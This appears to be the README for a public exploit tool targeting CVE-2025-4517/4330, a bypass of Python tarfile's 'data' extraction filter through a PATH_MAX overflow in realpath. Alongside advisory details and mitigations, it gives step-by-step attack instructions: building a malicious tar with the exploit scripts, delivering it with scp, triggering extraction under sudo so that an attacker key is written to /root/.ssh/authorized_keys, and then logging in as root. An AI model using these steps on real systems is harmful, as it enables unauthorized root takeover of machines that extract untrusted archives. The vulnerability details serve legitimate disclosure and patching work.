Share
## https://sploitus.com/exploit?id=7AB33D68-B5EA-5FDB-ADD0-5EDB6DCB9186
# CVE-2025-4517 / CVE-2025-4330 β€” Python `tarfile` Data Filter Bypass via PATH_MAX Overflow

**Author:** [0xDTC](https://github.com/0xDTC)
**CVEs:** [CVE-2025-4517](https://vulners.com/cve/CVE-2025-4517) / [CVE-2025-4330](https://www.wiz.io/vulnerability-database/cve/cve-2025-4330)
**Advisory:** [GHSA-6r6c-684h-9j7p](https://github.com/advisories/GHSA-6r6c-684h-9j7p)
**CPython Fix:** [PR #135037](https://github.com/python/cpython/pull/135037)

## Overview

Python's `tarfile.extractall(filter="data")` is supposed to safely extract tar archives by preventing path traversal (absolute paths, `..` sequences, and symlinks escaping the destination). However, a bug in `os.path.realpath(strict=False)` allows this filter to be bypassed entirely.

When the resolved path exceeds **PATH_MAX** (4096 bytes on Linux), `os.path.realpath()` silently stops resolving symlinks and falls back to **string manipulation**. This means a carefully crafted symlink chain can trick Python into thinking a symlink resolves inside the extraction directory when it actually escapes to `/`.

### Affected Versions

| Branch | Affected | Fixed In |
|--------|----------|----------|
| 3.12.x | 3.12.0 – 3.12.10 | 3.12.11 |
| 3.13.x | 3.13.0 – 3.13.3 | 3.13.4 |
| 3.14.x | 3.14.0a1 – 3.14.0a7 | 3.14.0b1 |

## How It Works

The exploit constructs a tar archive containing:

1. **16 directory/symlink pairs** β€” each directory has a ~240-character name, with a short (1-char) symlink pointing to it
2. **A 254-character escaping symlink** β€” placed at the end of the short chain, pointing back 16 levels
3. **An "escape" symlink** β€” traverses the chain and exceeds PATH_MAX, tricking `realpath`
4. **A regular file** β€” written through the escape symlink to an arbitrary location outside the extraction directory

The core insight: following `a/b/c/.../p` through short symlinks stays under PATH_MAX, but `realpath` expands each to the ~240-char real directory name. By the time it hits the 254-char link name, the resolved path exceeds 4096 bytes and `realpath` gives up β€” silently returning an incorrect result.

## Data Flow Diagram

```mermaid
flowchart TD
    A["Attacker crafts malicious tar"] --> B["tar contains:
    16 dir/symlink pairs
    254-char escape symlink
    'escape' symlink to /
    payload file"]

    B --> C["Target extracts with
    tarfile.extractall(filter='data')"]

    C --> D{"Python resolves symlinks
    via os.path.realpath()"}

    D --> E["Follows short symlinks a→ddd...d
    Resolved path grows with each step"]

    E --> F{"Resolved path length
    > PATH_MAX (4096)?"}

    F -->|"No (normal)"| G["realpath correctly resolves
    Symlink blocked by filter βœ“"]

    F -->|"Yes (overflow!)"| H["realpath STOPS resolving
    Falls back to string manipulation"]

    H --> I["Python thinks symlink
    resolves INSIDE extraction dir"]

    I --> J["Filter PASSES the symlink βœ—"]

    J --> K["OS follows symlink correctly
    'escape' resolves to /"]

    K --> L["Payload written to
    arbitrary file on disk"]

    style F fill:#ff6b6b,color:#fff
    style H fill:#ff6b6b,color:#fff
    style J fill:#ff6b6b,color:#fff
    style L fill:#ff6b6b,color:#fff
    style G fill:#51cf66,color:#fff
```

## Attack Sequence

```mermaid
sequenceDiagram
    participant A as Attacker Machine
    participant T as Target Machine

    Note over A: Phase 1 β€” Preparation
    A->>A: Generate SSH keypair (ssh-keygen)
    A->>A: Configure exploit variables(DEST_DIR, DEPTH_TO_ROOT, etc.)
    A->>A: Run CVE-2025-4517.py or .goto generate malicious tar

    Note over A,T: Phase 2 β€” Delivery
    A->>T: Transfer malicious tar to target(scp, wget, curl, ftp, etc.)
    T->>T: Place tar in location accessibleto the vulnerable script

    Note over T: Phase 3 β€” Exploitation
    T->>T: Trigger extraction via thevulnerable Python script
    T->>T: Python calls tarfile.extractall(filter="data")

    Note over T: What Python sees vs reality
    T->>T: realpath() overflows at PATH_MAX
    T->>T: Filter thinks "escape" symlink is safe
    T->>T: OS follows "escape" β†’ resolves to /
    T->>T: Payload written to /root/.ssh/authorized_keys

    Note over A,T: Phase 4 β€” Access
    A->>T: SSH as root using the written key
    T-->>A: Root shell obtained
```

## Tar Archive Structure

```mermaid
graph LR
    subgraph "Tar Members (extracted in order)"
        D1["πŸ“ ddd...d/"] --> S1["πŸ”— a β†’ ddd...d"]
        D2["πŸ“ ddd...d/ddd...d/"] --> S2["πŸ”— ddd...d/b β†’ ddd...d"]
        D3["πŸ“ ...16 levels..."] --> S3["πŸ”— .../p β†’ ddd...d"]
        S4["πŸ”— a/b/.../p/lll...254...lβ†’ ../../ Γ— 16"]
        S5["πŸ”— escapeβ†’ a/b/.../p/lll...l/../../ Γ— DEPTH"]
        F1["πŸ“„ escape/root/.ssh/authorized_keys(payload content)"]
    end

    S1 -.->|"short pathstays small"| S2
    S2 -.-> S3
    S3 -.-> S4
    S4 -.->|"254 chars pushespast PATH_MAX"| S5
    S5 -.->|"resolves to /"| F1
```

## Usage

### Configuration

Both scripts have a configuration section at the top with these variables:

| Variable | Description | Example |
|----------|-------------|---------|
| `DEST_DIR` | Full path to the extraction directory on the target | `/opt/app/staging/restore_pwn/` |
| `DEPTH_TO_ROOT` | Number of directories from `/` to `DEST_DIR` | `4` for `/opt/app/staging/dir/` |
| `TARGET_FILE` | File to write, relative to `/` | `root/.ssh/authorized_keys` |
| `PAYLOAD` | Content to write into the target file | Your SSH public key |
| `OUTPUT` | Output tar filename | Must match the target's expected pattern |

### Attacker Machine

**Option A: Python**
```bash
# 1. Generate SSH keypair
ssh-keygen -t ed25519 -f root_key -N ''

# 2. Edit CVE-2025-4517.py β€” update DEST_DIR, DEPTH_TO_ROOT, PAYLOAD, OUTPUT

# 3. Generate the malicious tar
python3 CVE-2025-4517.py

# 4. Transfer to target
scp backup_99.tar user@target:/path/to/backups/
```

**Option B: Go**
```bash
# 1. Generate SSH keypair
ssh-keygen -t ed25519 -f root_key -N ''

# 2. Edit CVE-2025-4517.go β€” update destDir, depthToRoot, payload, output

# 3. Generate the malicious tar
go run CVE-2025-4517.go

# 4. Transfer to target
scp backup_99.tar user@target:/path/to/backups/
```

### Target Machine

```bash
# Trigger extraction via the vulnerable Python script
# The exact command depends on how the target script is invoked
# Example:
sudo /usr/bin/python3 /path/to/vulnerable_script.py --backup backup_99.tar --restore restore_pwn
```

### Post-Exploitation

```bash
# SSH as root using the planted key
ssh -i root_key root@target
```

## Calculating DEPTH_TO_ROOT

Count the number of directories from `/` to your extraction path:

```
/opt/backup_clients/restored_backups/restore_pwn/
 (1)  (2)             (3)              (4)

DEPTH_TO_ROOT = 4
```

```
/tmp/extract/
 (1)  (2)

DEPTH_TO_ROOT = 2
```

```
/var/lib/app/data/staging/restore_test/
 (1) (2)  (3) (4)   (5)      (6)

DEPTH_TO_ROOT = 6
```

## Vulnerable Code Pattern

Any Python script using `tarfile.extractall()` with `filter="data"` on an affected version is potentially exploitable:

```python
import tarfile

with tarfile.open("archive.tar", "r") as tar:
    tar.extractall(path="/some/directory", filter="data")  # VULNERABLE
```

The `filter="data"` was introduced as a security measure to prevent tar path traversal attacks. Ironically, the vulnerability exists in the very mechanism (`os.path.realpath`) that the filter relies on to validate symlink targets.

## Mitigation

- **Upgrade Python** to 3.12.11+, 3.13.4+, or 3.14.0b1+
- **Avoid extracting untrusted tar archives** regardless of filter settings
- **Use additional validation** on extracted file paths after extraction

## References

- [CVE-2025-4517 - NVD](https://vulners.com/cve/CVE-2025-4517)
- [CVE-2025-4330 - Wiz Vulnerability Database](https://www.wiz.io/vulnerability-database/cve/cve-2025-4330)
- [GHSA-6r6c-684h-9j7p - GitHub Advisory](https://github.com/advisories/GHSA-6r6c-684h-9j7p)
- [CPython PR #135037 - Fix](https://github.com/python/cpython/pull/135037)

## Disclaimer

This tool is provided for **authorized security testing, educational purposes, and research only**. Only use this against systems you own or have explicit written permission to test. Unauthorized access to computer systems is illegal. The author is not responsible for any misuse of this tool.

## License

[MIT](LICENSE)